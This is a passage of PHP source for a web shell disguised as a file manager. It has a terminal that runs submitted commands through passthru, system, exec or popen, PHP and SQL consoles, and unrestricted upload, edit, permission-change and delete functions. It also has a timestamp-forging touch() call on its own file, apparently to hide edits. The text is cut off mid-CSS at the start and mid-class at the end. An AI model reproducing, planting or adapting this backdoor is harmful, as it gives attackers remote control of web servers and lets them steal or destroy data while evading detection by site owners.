te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
